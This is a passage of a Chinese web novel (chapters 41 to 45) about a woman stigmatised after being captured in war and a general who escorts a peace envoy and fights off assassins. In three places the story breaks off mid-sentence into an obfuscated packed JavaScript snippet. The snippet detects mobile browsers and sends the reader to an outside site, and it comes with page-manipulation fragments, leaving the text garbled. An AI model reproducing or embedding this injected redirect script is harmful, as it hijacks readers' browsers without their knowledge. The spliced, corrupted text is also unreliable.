眼,四周都是看戏般的眼神,他们的命就是一台大戏。直到看到初雪晴,他露出恶狠狠的笑容,喊道:“我见过你,我们抓到过你,你的胳膊真是又白又滑啊,你……” 他的话没说完,就被飞来的一个长枪插住了胸膛,他瞪大眼睛,不可思议地看着前面。 是裴霁曦,他像是被闪电撕裂的乌云般愤怒,冲向台上,从刽子手中夺过长刀,又往那俘虏身上砍去。 初雪晴被眼前的一幕惊到,面色苍白,浑身绷紧。 方淼看着眼前失控的裴霁曦,又看看身旁吓呆的初雪晴,吩咐了身边的人,把初雪晴送回去。 方淼上前拦住裴霁曦,把他拽下高台,问他:“怎么回事?冬雪被俘过吗?” 裴霁曦眸中仇恨的怒火未歇,咬着牙盯着台上俘虏的尸体。 方淼见他不答,心下了然,摇头道:“她竟然还同情这些俘虏。” 方才那俘虏的喊话,被很多人听到了。 裴霁曦从来不觉得明履营的士兵要以死保节,在初雪晴被俘后,他只是怕来不及去救她,更怕她会在被救前就自尽,好在她并未太过在意此事。 可当这件事以如此惨烈的方式呈现在众人面前,他更加对当时没有及时处置何生而后悔,一切都是他造成的。 裴霁曦压住心中翻腾的怒火,对方淼道:“若你觉得冬雪不适合在明履营,我就把她接出来,放在我身边。” 方淼并未作答,明履营本就是不容于世,承担了太多的骂名,她不希望再有脏水泼来。可她也深知,这不是冬雪的错。 裴霁曦大步离开,本想直接去接冬雪,可看看自己一身的污血,便用最快的速度回去清洗好,换了衣衫。 他来到明履营,众人还在校场未散去,明履营只有稀稀拉拉几个士兵,他问了初雪晴的位置,直奔那个营帐。 有两个女兵在陪着初雪晴,见他来了,都识趣地走开了。 初雪晴怔怔地坐在塌边,对于他的到来也没有反应。 裴霁曦在她面前蹲下身子,轻声道:“没事了,他们已经死了。” 初雪晴缓缓将目光移向他,讷讷道:“我是不是不该来明履营?” 裴霁曦顾不得克制,紧紧握住她的手,心疼不已,“你没有任何错。” “你还记得在京城卖豆腐的杨氏吗?”初雪晴喃喃道,“之前你救了她。可你知道她为什么被歹人欺负吗?因为她之前就被歹人掳走过,被夫君休弃,被众人唾弃,人人都觉得可以欺负她。这就是女子应该遭受的吗?” 裴霁曦摇头,“不是的,我从来不觉得这是女子的错。” “明履营真的有人为了名节而自尽吗?”初雪晴问道。 裴霁曦坚定道:“那不是忠义,是愚蠢。留着一条命,能杀多少敌军,徒留一个贞节牌坊给谁看。” “可大多人不是这么觉得吧。”初雪晴苦笑道。 裴霁曦忽然怕了起来,更加用力地握着她的手,厉声道:“我不许你瞎想,不要想那些愚蠢的声音。” 她讽刺般轻笑了一声,“世子不必担心,我不会自戕。” 要变的不是她,是这世道。 42. 第 42 章 邺清的年节虽不似京城那般繁华,却也是家家张灯结彩,户户鞭炮齐鸣。尤其是今年定远军打了胜仗,更是让百姓们欢欣鼓舞,奔走相贺。 明明是一派阖家欢乐的模样,可从望北关回到邺清侯府的初雪晴,却丝毫感受不到这份节日的喜庆。 裴霁曦问她是否还要留在军中,她拒绝了。她本想在军中为自己挣一份前途,可她发现,世道如此,就算自己拼出了前途,区别只是在于,是那波涛汹涌的海上扁舟,还是迎风起航的巨轮而已。海就在那里,无论怎样航行,它自汹涌澎湃。 何况她的确不适合留在军营,武艺最差不说,那点泛滥的同情心,在命如草芥的军中,不仅格格不入,还有可能带来不幸。 裴霁曦和初雪晴一起回到了邺清,临行前,裴梦芝语重心长对裴霁曦道,她不觉得明履营的女兵需要受名节束缚,且冬雪虽然武艺不佳,但聪明睿智,只要有人从旁提点,必有大用。 可裴霁曦还是尊重了初雪晴的意见,她既不愿在军营待着,便是觉得此路不通。恰京中的定远侯传信交给裴霁曦一桩差事,他便一起回到邺清。 春节第一日的晚膳,作为邺清侯府现下唯一的主子,裴霁曦让当值的下人都散了去休息,只让轻风把初雪晴叫来一起用膳。 轻风没在耳房找到初雪晴,在府中寻了一圈,最终在小校场上寻到了她。 今日风雪较昨日更甚,地上的积雪已漫过脚踝,校场无人训练,便是平整的一片雪地,茫茫白色之中,只有初雪晴的一行脚印,孤零零印在雪地之中。 她就一个人,身着天青色素棉厚袄,立在雪地之中,宛如一片白云中露出的一线天光。 “冬雪!”轻风唤道,“世子唤你一起用膳。” 初雪晴听到呼喊,缓缓折身,顺着来时的脚印,一步步走出校场。 轻风听闻了昨夜军中的事,见初雪晴还是郁郁寡欢,挠挠头道:“今日晚膳可丰富了,世子让旁人都散值休息去了,只让你我二人陪他用膳,墨语是没这个口福啦,只能在军中继续操练了。” 初雪晴并未搭话,在一旁安静地走着。 轻风习惯了初雪晴笑意盈盈的样子,可自打冬雪从石喙岭受伤归来,便很少再笑了。 轻风大大咧咧,不知道如何安慰初雪晴,虽说女子贞洁大过天,可世子也并未嫌弃她,轻风又道:“冬雪,那个……被掳走也不是你的错,何况世子不是及时把你救回来了么。世子对你这么好,你也没必要这么伤心。” 初雪晴抬眼看了看他,挤出一抹淡笑,“赶紧走吧。” 轻风见她笑了,即使笑容很勉强,但觉得兴许是自己的安慰起了作用,毕竟以后冬雪也是要当半个主子的人,比一般丫鬟的命强多了,也没甚可不知足的。 二人回去以后,但见一桌子菜,只有裴霁曦一人在旁。 桌上有三副碗筷,二人依次落座。 裴霁曦拿起筷箸,第一筷却不是夹给自己,反而是夹了一块酥羊肉,放在初雪晴面前。 初雪晴愣怔片刻,便起身道:“奴婢为世子布菜。” 裴霁曦制止道:“今日无主仆,我们三人补个年夜饭。” 轻风口中嚼着一个丸子,含糊不清道:“冬雪,你又不是没和世子吃过饭,客气什么呢。” 裴霁曦指关节敲敲桌子,对轻风道:“在军营野惯了,咽下去再说话。” 轻风赶忙囫囵咽了下去,“嘿嘿”一声,“忘了忘了,都被严将军带坏了。” 初雪晴这才坐下,静静吃眼前的菜。 裴霁曦见她食欲不大,便又夹了些菜给她。 轻风嚷嚷着:“冬雪,你多吃些吧,看你去明履营才两个月,都瘦成什么样了。” 初雪晴闻言,手中的筷忽而停了下来,似是反应了一会,才“嗯”了一声,继续夹着眼前的菜。 一顿饭,也只有轻风唠唠叨叨的声音,和裴霁曦偶尔的回应。 三人用得差不多,裴霁曦道:“本应小酌一杯,但明日有桩差事耽误不得,就不饮酒了。”顿了顿,他接着道,“陛下有意让定远军接管西境,父亲派我先行去西境打探消息。” 轻风诧异问道:“世子,西境不是西境军在管吗?” 裴霁曦答:“近年来大宁与西羌征战不断,虽说有得有失,但细算下来,得的,是贫瘠之地,失的,是重镇要塞。若不是实无他法,陛下也不会让定远军去接手。” 轻风义愤填膺道:“看定远军连连胜仗,这会想起我们了?现下还压着老夫人不让回邺清,这会不忌惮侯府了?” “慎言。”裴霁曦提醒道,“既交给了我们,接着便是,只是现在消息还未传出,我需要伪装身份去西境探个底,你二人随我一起吧。” 初雪晴怔忡地看着他。 裴霁曦继续道:“姑父一直在边境从商,他帮我寻了个身份,扮作一个西境的商人,名叫商煦。待我们到了西境的勐城,会有商队接应我们。你二人就是随行的丫鬟小厮,可好?” 轻风干脆道:“世子,我没问题。” “此番行程隐秘,切忌走漏风声。” “妥嘞,那我先给世子准备下行装。”言罢,轻风折身离开。 裴霁曦看向初雪晴,犹豫问道:“冬雪,你可有问题?” 初雪晴垂下眸子,“世子为何带我和轻风,不带墨语呢?” 裴霁曦淡笑反问:“为何不能带你们,要带墨语呢?” “墨语武功高强,我和轻风也不能保护世子。” “你觉得我需要被保护吗?” “可我……会拖累世子。” 裴霁曦摇摇头:“墨语是一个好兵,但是此番我去探查,需要聪明机警的助手。墨语擅于执行命令,而轻风则圆滑很多,能打探到一般人探查不到的消息。但是论机智,你在他们二人之上。” 初雪晴愣怔片刻,明白了裴霁曦的意思。他不希望她在离开军营后就否定自己,用轻风和墨语的区别来告诉她,每个人都有自己的用处。 初雪晴讷讷道:“世子,我是不是个逃兵?” 裴霁曦感受到初雪晴的难过,有种想要将她拥入怀中的冲动,可还是压制住了这种想法,只道:“别贬低自己,每个人都有不擅长的事情,我带兵的第一天,父亲就告诉我,要用人所长。你所长,已经助我良多。” 初雪晴躲开裴霁曦炙热的目光,低语道:“我不知自己还能做什么。” 裴霁曦试探道:“既然尚不知要做何事,那先助我一番如何?或者,会碰上什么机缘。” “世子的吩咐,奴婢自会遵从的。” 她的自称,又从“我”换成了“奴婢”。裴霁曦想要她不要再自称“奴婢”,可又怕太过逼她,会适得其反,只得笑笑:“好,那你也准备一下,你平日穿得素净,待上路后为你采买一些鲜艳的衣服,毕竟商人的丫鬟,也不好太过朴素。” 初雪晴应是,起身欲收拾桌上残羹剩饭,裴霁曦道:“唤别人过来收拾吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948180|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还是早早歇下,明日一早就要上路。” * 初雪晴去到丫鬟的屋中,看到腊梅和怀绿正在嬉闹,一旁的霜华在绣花。 她略过霜华,对腊梅道:“腊梅,可否帮忙去世子那收拾下碗筷。” 腊梅笑眯眯道:“好嘞,这就去。” 一旁的霜华放下手中的绣活,冷冷道:“腊梅,说让你去干什么你就去?是世子吩咐的,今夜让大伙休息一下,怎的就你这么勤快。” 腊梅尴尬道:“这不是……冬雪让我去的么。” 霜华轻叱一声:“冬雪怎么了,她一个失了贞的女子,你真当她以后能当上主子呢?” 初雪晴倏地看向霜华,声音凌厉问道:“你从哪听的?” “若要人不知,除非己莫为。”霜华忿忿道,“今儿个下晌,轻风和你说的话我都听见了,你被掳走过,谁知道干净不干净。” 腊梅和怀绿都被霜华的话吓到了,可腊梅最先反应过来,急忙道:“霜华,你可别胡说,女子的名声多重要呢,你怎么能这么污蔑冬雪呢。” 怀绿讷讷道:“这……不可能吧。” 霜华不屑地看向初雪晴,道:“是真是假,冬雪你自己说说。” 初雪晴冷冷一笑,她一直没认为被掳走是一件多么大的事,因为裴霁曦没瞧不起她,新兵营里知道这件事的人没有瞧不起她。可第一次是明履营的人,第二次是侯府的丫鬟,是这个世道中最没有人权的女性,不断提醒她是一个失贞的人。 “你们觉得,这重要吗?”初雪晴看着眼前三个丫鬟,怀绿的不可置信,霜华的嗤之以鼻,以及腊梅的忧心忡忡,都让人无力。 初雪晴没再理她们,折身出屋。 冬夜的冷风呜呜地叫着,簌簌飞旋的雪花随着风飘零着,有一粒雪花飘在她的眼睛里,她眨了眨眼,似是雪花融化在眼中,带出了一滴泪水。 她木然走回自己的屋子,没有管身上粘的雪粒子,直接倒在了床榻上。 太累了。 * 翌日一早,连天的雪终于停了,只有地上积雪的厚度,昭示着昨夜的风雪肆虐。天色仍旧晦暗,似是预示着这场雪只是暂歇,并未离开。 初雪晴收拾好行装,她到门口的时候,裴霁曦和轻风正在说着什么,见她到了,裴霁曦指了指身旁的一匹黑马,“冬雪,你试试,这匹马怎么样。” 这匹黑马毛色光泽,四肢纤长,一看就是匹好马,她翻身上马,发现这匹马还很温顺,并不排斥她。 裴霁曦翻身骑上自己的坐骑流光,到她身边,“虽然武艺我没能教好你,但你的骑术我是放心的。”顿了顿,又道,“我已让赵嬷嬷把霜华打发出府,也让她嘱咐了腊梅和怀绿,她们不敢再乱说了。” 初雪晴诧异看向裴霁曦,“打发出府?” “你放心,只是找户人家把她嫁了。” 初雪晴问:“世子怎么知道昨晚的事?” 裴霁曦还未答话,轻风跟上来道:“冬雪,昨个夜里腊梅来找我,告诉我霜华在那胡说八道,你放心,世子当然是向着你的。” “好了,出发吧,时间紧。”言罢裴霁曦打马前行。 轻风迅速跟上,“世子,虽然您的马最好,但是我和冬雪的骑术都不赖,放心,跟得上您。” 初雪晴抬眼看向前方马上的二人,茫茫雪地之上,两匹马行过的痕迹扬起一片雪花,她也打马跟上。 顺着地上纷扬的雪花,奔向前路。 43. 第 43 章 年节也没有打乱定远军训练的节奏,天未大亮,望北关大营就响起了士兵训练的号子声,合着整齐的脚步声与兵器的锵锵声,唤醒了沉睡的桑静榆。 她睁开眼,看到身旁已经没有了初学清的身影。昨夜初学清回来已经很晚,一整夜又辗转反侧,也不知裴霁曦和她聊了什么让她如此心神不宁。 桑静榆洗漱完出了帐,四处转了转,去伙房里蹭了点饭,又去找军医聊了一会,终于在绕到校场边的时候,看到了初学清。 初学清身着暮云灰色长袍,在清冷的冬日显得有些单薄。她立在身披铠甲的墨语身旁,眼神放在正在训练的士兵身上,和墨语在低语着什么。 桑静榆走近了,才听清初学清的话:“轻风不在,就没再给他安排个小厮吗?他现下毕竟看不见,做事没人在身旁帮衬也不方便。” 墨语垂首片刻,答道:“将军不喜有人伺候,本来我要去服侍他起居,可他说我已做到参将,不能再做回小厮。” 初学清无奈道:“他不该如此逞强,你们应该劝劝他。” “劝了,可将军不喜在人前示弱,即便轻风在,他约莫也不会让轻风伺候。”墨语跟了裴霁曦这么久,是裴霁曦一手将他带出来,从小厮变成参将,他现在当然不会介意做小厮做的事,哪怕给裴霁曦当牛做马都可,只是他说过很多次,裴霁曦也不许他去伺候。 桑静榆走上前去,轻拍了初学清后背,“我说你,还操心别人的事哪。” 初学清见她前来,像是被发现做错事的孩子,有些不自然地笑了笑。 桑静榆不喜她这幅为裴霁曦担忧的模样,离开一年裴霁曦就娶妻生子,能有多深的感情,亏得初学清还在这里为他担忧。 恰在这时,吴长逸一脸焦急跑过来,冲初学清道:“初侍郎,宫中传来旨意,让我们即刻出使西羌,不得有误。”言罢将信函递给初学清。 是给吴长逸和初学清二人的旨意,信函上的火漆已被吴长逸拆了,初学清展开信函,上书除了让他二人即刻出使西羌外,言明裴霁曦对西羌更为了解,此番和谈带上裴霁曦,不惜一切代价与西羌停战。 初学清阅毕,想通其中关节,脸色霎时灰白,拿着信函的手都有些发颤。思量片刻,她深深呼吸几番,强自镇定下来,问吴长逸:“定远侯眼疾的事情,吴将军可是上报朝廷了?” 吴长逸皱了皱眉,答:“这是大事,当然要上报。” 初学清心中宛如重石砸落,狠狠地沉了下去。 她未料陛下此番做事已经如此不遮掩了,定远军现承担守卫西境与北境的重责,陛下早就忌惮裴霁曦的军权,现下裴霁曦瞎了,定远军不会有一个瞎了的主将,他不需要在北境坐镇了。 西羌人自勐城水战后,对裴霁曦恨意滔天,近年来,裴霁曦也很少去西境巡视,而是交给了祁允带兵。如今陛下让她带裴霁曦去西羌和谈,明显是要把裴霁曦当作一个和谈筹码。 以一个定远侯,换与西羌的停战,这个理由,合情合理。 若裴霁曦不愿,那西境之战,他就是罪魁祸首;若他愿了,牺牲他一人,西境停战,定远军慢慢会从裴家过渡到朝廷委派的武将手中。 身旁的桑静榆问道:“这么快又要去西羌了吗?北狄呢?北狄撤兵了就不用去出使了吗?” 吴长逸止住了她的问题:“你只是一个女子,不要妄议朝政。” 桑静榆瞪他一眼,心中腹诽,你面前这位救回将军,止住了战争的侍郎大人,就是女子。 初学清回过神,对桑静榆道:“夫人,你收拾下行装,随我一起去西境。我去找下定远侯。” 吴长逸见她又让桑静榆随行,道了声“你……”,又止住了话头,算了,北境都已经跟来了,西境又有什么区别呢。 * 初学清去找裴霁曦的路上,吴长逸手下的一个侍卫在暗中递给她一张纸条,她到无人处查看,是三皇子景王的笔迹——“保住定远侯”。 景王志在鸿鹄,却也知晓以国为先,定不愿大宁损失一员大将。她也知道景王一直存着拉裴霁曦站队的心思,可她不忍让裴霁曦牵扯进党争之中。不过,就算没有景王的吩咐,她也一定不会将裴霁曦置于险地。 她按捺心中慌乱,疾步到了裴霁曦营帐,见他睁着眸子,眼神涣散,在擦他的长枪,不禁心中酸涩不已,“裴兄,方才接到陛下急诏,令我前往西羌和谈。”顿了顿,才道,“陛下还令裴兄一同前往西境。” 裴霁曦怔了怔,随即恍然般轻笑,只道:“好,我随你去。” 初学清走近几步,轻轻握住裴霁曦手中的长枪,哑声道:“裴兄可知,此去西境,意味着什么?” 裴霁曦循着初学清的声音抬头,缓缓道:“君要臣死,臣不得不死。” 初学清握住长枪的手紧了紧,“敢问裴兄,你忠的是谁?” “自然是大宁。”裴霁曦镇定答。 “是那座上之人,还是大宁百姓?” 裴霁曦皱皱眉,轻轻拍了拍初学清握在长枪上的手,“那学清忠的又是谁呢?” 初学清斩钉截铁道:“我忠的是我心中的道。” “学清这话,万勿再对旁人讲了。”他缓缓推开初学清紧握的手,“我忠的,是需要定远军守护的万千百姓。可你又怎知,让臣死的,不是这万千百姓呢?何况,本就是我造过的孽,早就该还了。” 初学清无力地松了手,她方才心中有个疯狂的念头,哪怕裴霁曦有一丝不愿去西境的意思,她都会想方设法帮他。 一个国之栋梁无数次战场的厮杀,换来的是成为交易的筹码。这不仅关乎裴霁曦个人的安危,而是整个大宁的荣辱。 可百姓厌战,如果能用一个瞎了的将军,换回西境的太平,谁又会管这个将军之前的赫赫战功呢? 可能会有歌功颂德的诗文,和供人膜拜的雕像,但也是仅此而已。 “裴兄,”初学清定定看着裴霁曦,坚定道,“即使众人皆认为这是捷径,但是我不会走这条路。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958307|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴霁曦摇摇头,“学清莫要感情用事。” “这不是感情用事,真走到这一步,那是大宁的耻辱。” 裴霁曦叹口气,放下手中长枪,“谈不上耻辱,你应该听说过,多年前的勐城水战,我屠尽西羌三万士兵,无人生还,如今,是该还债的时候了。” 初学清眸色黯了黯,只道:“那是一个将军守城的职责。” 裴霁曦垂眸片刻,似是在回忆什么,半晌才道:“有人和我说,我不只杀了三万人,我还毁了三万个家。” 初学清眼眶泛红,她咬紧牙冠,控制着不让眼泪流下,颤着声音道:“那这个人,定是一叶障目不见泰山。” “不,”裴霁曦否认道,“她只是心怀天下而已。” 初学清被悔意缠绕,曾经那些意气之下的刻薄言语,像钝刀一般割在心上,她讽刺着以前的自己:“那不是心怀天下,是不在其位的颐指气使罢了,裴兄不应放在心上。” “学清,不必多言了,既然是陛下急诏,就赶紧出发吧。” 初学清咽下心中酸涩,“我帮你收拾行囊吧。” 裴霁曦不由笑道:“你自己怕是还要尊夫人给收拾行囊吧,放心,虽然为兄现在瞎了,这些小事还是难不倒我的。” * 少倾,众人收拾好行装,在营地口集合。 冷风忽起,卷起地上还未压实的积雪,四散空中。绵延浩瀚的山野,似是借着冬风的悲鸣,送别这片土地上的战神。 初学清立于马旁,见裴霁曦牵着他的坐骑“流光”自远处而来,墨语跟在他的身后。 他身披玄色大氅,身姿傲然挺立,迈着从容不迫的步子,逆着风雪走来。 他一直是这样,处变不惊,哪怕是赴死,也是一片慨然。 初学清压下心中的纷乱思绪,走上前去,对裴霁曦道:“裴兄还是坐马车吧。” 裴霁曦摇摇头,“无妨,老马识途,我这匹马,也经历了不少风雨,只要你们带好路,我自然跟得上。” 墨语在一旁道:“还是让我跟着将军吧,路途遥远,多有不便。” 裴霁曦拒绝道:“你现在的身份,不是能说走就走的。你放心,我已无大碍了。” 初学清沉声道:“我们会照顾好侯爷的,一定会让他平安回来的。” 流光在一旁晃动着脑袋,发出轻轻的“嘶嘶”声。 初学清上前轻抚流光头上的白色鬃毛,这么多年过去,流光依旧矫健壮实。流光似是见到了故人,尾巴一甩一甩的,扭扭头蹭着初学清的手臂。 桑静榆见了,也上前要摸马,初学清赶紧制止了她,“流光怕生,夫人小心。” 吴长逸闻言道:“既然怕生,怎的这马就不排斥初侍郎呢?” 初学清愕然片刻,忘记了此刻的自己不应知道流光,但流光曾载着她与裴霁曦一起驰骋,即便物换星移,流光依旧没有忘记她。 裴霁曦听到他们的对话,也问道:“学清怎么知道我的马叫流光?” 44. 第 44 章 桑静榆在一旁解围道:“我在望北关待了这么长时间,连谁家几口人都知道了,这马的事迹还是我讲给夫君听的。我夫君骑术了得,莫说侯爷的马,野马他都训得呢!” 裴霁曦并未发现异常,只叹道:“想不到学清一介文臣,骑术如此了得。” 初学清垂下头,道:“师父教的好罢了。” 只是“师父”就在眼前,流光认得出,可师父却认不出徒弟了。 吴长逸不屑地瞥了眼垂着头的初学清,“就会点骑术,还值得拿出炫耀一番。” 桑静榆闻言不服气道:“什么叫就会点骑术,我夫君此番是不是立了大功?朝中那么多大臣,一个个缩着脑袋不敢应声,只有我夫君,提着脑袋出使,又兵不血刃地完成和谈,试问哪个男人有我夫君这般本事。” 裴霁曦应和道:“学清的确是有勇有谋,难得的栋梁之才。” 吴长逸抿抿嘴,虽然没说话,但心中又在暗骂自己多嘴。 初学清有些赧然,低声对桑静榆道:“夫人倒不必如此自夸。” 桑静榆反驳道:“怎么了,我夫君就是厉害,比某些天天在京城里待着的武将强多了。” 初学清拍了拍桑静榆的手,低声斥她:“够了。” 一旁的吴长逸已然变了脸色,不悦地驾马离去。 裴霁曦笑笑:“初夫人真性情,学清也不必自谦了。你二人的感情真好,真是羡煞旁人。” 桑静榆心情不顺,顺嘴就怼了回去:“羡慕什么,你自己也找一个呀。” “静榆!”初学清提高了声音,正要说什么,裴霁曦止住了她:“无妨,初夫人性情豪爽,这才几月,就把我定远军的人心都收买了。” “她哪是性情豪爽,这是口无遮拦。” “初学清!”桑静榆不悦噘嘴道,“我一直夸你,你一直贬损我是不是?” 初学清看桑静榆生气了,忙笑着道歉:“是我口无遮拦了,夫人莫怪。” 几句吵闹,把前路的阴霾驱散了几分。 只是前路,依旧遥远。 * 一行人疾行上路,初学清本来顾及裴霁曦的眼疾想慢些走,可流光似是在跟她的马较劲一般,一路都紧随着她,两匹马儿你争我赶地向前奔,每每转向的时候,初学清都会刻意放慢速度,提醒着裴霁曦。 直至暮色四垂,他们才赶到北鸣驿,投宿馆舍之中。 安排客房时,初学清特意住在了裴霁曦隔壁。 用过晚膳,她到裴霁曦的房内,点燃烛火,将桌椅都靠墙放好,又将裴霁曦的行囊放置于窗边矮塌上,收拾好东西,还沏了壶茶。 裴霁曦听到初学清忙前忙后的声音,不禁笑了:“学清,我是习武之人,即使目不能视,耳力也尚可,照顾自己不成问题,不用你这么费心的。” 初学清倒出一杯茶,确认茶杯没那么烫,才递给裴霁曦,道:“我答应了墨语,要好好照顾你的。对了,我临行前向军医讨教了下,你身上的伤最好每日继续涂些药,以防日后阴天下雨的时候受罪。等会你洗漱完,我再为你涂药。” 裴霁曦接过茶杯,慢慢啜饮,“伤已好得差不多了,在军营中,也是想起来才用些药膏,现在基本不用了。” “不妥,既然军医让你每日涂药,自有他的道理,怎能不遵医嘱呢?或者我让静瑜再来给你瞧瞧,你若信不过我,让她给你上药。还有你的眼疾,静瑜正在驿站的后厨为你煎药,一会还得喝药。” 裴霁曦摸索着桌沿,将茶杯放上去,笑道:“军营里都没人这么管我。” 初学清看着他摸桌沿的动作,心中一涩,道:“你回去的时候,定会比现在更好。” 裴霁曦坦然道:“学清,你知道的,我此行,是做了赴死的准备。” “但有我在,这种事情就不会发生。”初学清坚定道。 裴霁曦不想她为难,如今自己成了累赘,莫不如把他这个累赘变为她和谈的筹码。 初学清不想继续这个话题,转而道:“对了,我让他们赶紧给你送热水来,我帮你把换洗衣物放到浴桶旁,你……自己可以吗?” 初学清周到得让裴霁曦有些不自在,只得答道:“自是可以。” 初学清脑中不合时宜地想起了一些晦涩的画面,垂眸道:“那……我一会再来给你上药。” 言罢初学清慌乱地走了出去。 初学清闔上门,长舒口气,背靠在门上,才意识到自己竟然又惯常地带入了丫鬟的角色。 桑静榆自远处看到的,就是初学清面红耳赤地靠着门,她走过去戏谑道:“这是看见什么不该看的了吗?” 直到桑静榆发出声音,初学清才意识到身边有人过来,忙道:“胡说什么。你不是在煎药吗?这么快煎好了?” 桑静榆气道:“就记着他的药,驿站里有厨娘,你还非得让我亲自盯着啊?这究竟你们是夫妻,还是咱们是夫妻呀?” 初学清忙捂住她的嘴,把她拽到旁边的房内,阖上门道:“求你可别再胡言乱语了。” 桑静榆拍掉她捂着自己的手,低声道:“瞧你这出息,一见到他,就又变成丫鬟啦?” “我只是……”初学清讷讷道,“他现在……需要人照顾。” 桑静榆轻哼一声,“我就是看在他瞎了的份上,先把夫君让给他几天。等我把他医好了,趁早让他哪来回哪。” 初学清闻言,莞尔一笑,“谢谢你,静榆。” * 裴霁曦自打看不见后,耳力愈发好了。他听到桑静榆在门口调笑初学清和他像夫妻,两人回屋后的话便听不到了。 自冬雪离开后,他也逐步培养轻风做些别的事情,身边渐渐少了人伺候。他本就独立,也不习惯身边有人鞍前马后,即使看不见,也适应着自己做事。如今初学清这般照料,倒让他觉得不妥。 而且看来桑静榆也有些不满,都开起了这般不合时宜的玩笑。 他洗漱完,自己囫囵抹了药。然后便拿出包袱里的刻刀与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984453|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木块,抚摸着木头的纹路,用刻刀,沿着脑中的记忆,一点点在木块上刻出规律的线条。 这么多年,他已形成了习惯,刻木头、石头、玉石……一有空闲,手中便要忙碌起来。 初学清端着药汤又来到裴霁曦房内的时候,就被告知他已经涂了药。 房内烛火微弱地摇曳着,昏暗的烛光下,裴霁曦衣衫整洁,在桌旁坐着,手中拿着刻刀,桌上摆着一个木块,木块旁散落一堆木屑。 初学清坐到他身旁,担忧道:“裴兄在刻什么?你眼睛还未恢复,这样容易伤到手。” “随便刻点东西,你放心,我经常刻东西,即便看不见,也不影响我拿刻刀的手感。” 初学清又问:“伤口恢复得如何,还是让内子来看看吧。” 裴霁曦想到桑静榆方才的玩笑,看来初学清就是这般操心的性子,温言拒绝道:“伤口都已大好。” 初学清将药汤递给裴霁曦:“那先把这药喝了,治眼疾的。” 裴霁曦接过药,似是尝不出药的清苦一般,一饮而尽,才道:“今日舟车劳顿,你又一直忙着照顾我,还是早些休息吧。” 初学清见他不需自己照顾,心中反而莫名失落,“裴兄为大义随我出使,我自是要照顾裴兄周全,万莫如此客气了。” 就在初学清寒暄之际,忽听裴霁曦大喝一声“谁!”,便猛地拿起随身佩剑,立于初学清身前。 只见两个蒙面黑衣男子,皆手持长剑,破窗而入,两把长剑刺过来,裴霁曦闻声持剑挡开,顺势一挑,逼得两人后退几步。 初学清片刻后反应过来,急忙用衣袖扑灭桌上烛火,房间顿时陷入一片黑暗。 对于常人而言,由明转暗,需要时间适应。可对于已经瞎了的裴霁曦而言,有没有烛光照亮都是一样的。 他循着两名刺客衣料的窸窣声向前攻击,其中一名刺客肩膀被刺,手中武器被挑。另一人听见同伴呼和,忙向前刺去。可暗中实在难辨方向,这一刺被裴霁曦轻松挡去。 武器相撞的锵锵声,桌椅翻倒的哐啷声,还有刺客被伤的闷哼声,无一不挑动着初学清的心绪。她极力地隐蔽自己,知道此时自己唯一能做的就是不要添乱。 混乱中脑海闪过以前数次裴霁曦挡在她身前搏斗的画面,每一次他都竭尽全力地保护着她,可她却一次次成为他的负累。 待慢慢适应了黑暗,两名刺客也能大致看清裴霁曦的身形,可裴霁曦身手矫健,丝毫不受黑暗的影响,他们其中一人又已受伤,眼下情况实非对手。 未受伤的那名刺客,看见裴霁曦身后躲着的初学清,便顺势转了攻击方向,绕到裴霁曦身后。 裴霁曦察觉他的意图,一手拿剑刺向已受伤的那人,另一手顺势拽住正欲袭击初学清的刺客,手指如镣铐一般钳住那人手腕,用力已扭,嘎达一声脆响,那人手腕被扭断。 可那刺客显然是训练有素,只一闷哼,便不再管受伤的地方,持剑用力往前,欲刺向初学清。 45. 第 45 章 裴霁曦迅速折身,用剑挡住那刺客,只听噗呲一声,是剑刺入血肉的声音,那刺客也受伤了。 只是裴霁曦分身乏术,另一受伤刺客见他又要保护初学清,又要应付二人,便趁次间隙,挥剑上前,裴霁曦一时难以分身,只得用左手空手去挡,剑刃刺到了他的左臂,他却未管,拔出刺客身体里的剑,再挥向另一人。 二人皆在黑暗中被裴霁曦制住,眼见刺杀失败,二人抽出怀中备好的匕首,皆刺入自己的胸膛。 初学清忍住瑟瑟发抖的身体,找到火折子,点燃了桌上烛火。 她在舌战群儒的朝堂上没有怕过,在天子威严的怒目下没有怕过,可唯有面对裴霁曦的安危,她总是控制不住的害怕。怕他出事,还怕自己又连累了他。 烛火微光中,两个刺客躺在一片血泊之中,黑衣看不出血的颜色,但却见身下血色蔓延,屋内充斥这一片腥呕之气。 初学清一眼便看见裴霁曦受伤的手臂,忍住心中酸涩,忙上前捧起他的手臂,问道:“可有别处受伤了?” “没有,我并无大碍,你没事吧?” 初学清涩然道:“有裴兄在前护着,我怎会有事。” 